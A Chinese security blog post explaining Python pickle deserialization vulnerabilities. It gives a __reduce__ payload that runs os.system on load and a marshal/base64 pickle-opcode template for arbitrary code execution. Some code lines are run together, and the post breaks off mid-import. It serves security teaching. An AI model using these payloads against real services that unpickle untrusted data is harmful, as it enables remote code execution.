python marshal loads failed_python pickle命令执行与marshal 任意代码执行

1.python pickle反序列化漏洞

自己的理解:

由于在类的__reduce__方法中提供了我们可以自定义程序如何去解序列化的方法,因此如果应用程序接受了不可信任的序列化的数据,那么就可能导致安全问题。

importpickleimportosclassgen(object):def __reduce__(self):

s= """dir"""

returnos.system, (s,)

p=gen()

payload=pickle.dumps(p)

with open('payload.pkl', 'wb') as f:

f.write(payload)

以上这段代码中,要调用os模块的system函数来执行dir命令,其中reduce函数中的返回值中需要定义的有要调用的函数,需要传给函数的参数(以元组的形式给出);

接着只需要将该对象实例化后再序列化即可

importpickle

'''

some code

'''

pickle.load(open('./payload.pkl'))

'''

some code

'''

假设以上这段代码是服务器端处理反序列数据的时候的操作,其中没有将要调用的对象函数进行过滤,而是直接进行解序列化,导致代码执行 os.system("dir") 。

2.pickle任意代码执行

importmarshalimportbase64deffoo():pass #Your code here

print """ctypes

FunctionType

(cmarshal

loads

(cbase64

b64decode

(S'%s'

tRtRc__builtin__

globals

(tRS''

tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

我们只需要在foo函数中写上需要执行的代码即可。

code_str =base64.b64decode(code_enc)

code=marshal.loads(code_str)

func= types.FunctionType(code, globals(), '')

func()

执行以上函数便可以触发任意代码执行漏洞

from __future__ importunicode_literalsfrom flask importFlask, request, make_response, redirect, url_for, sessionfrom flask importrender_template, flash, redirect, url_for, requestfrom werkzeug.security

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值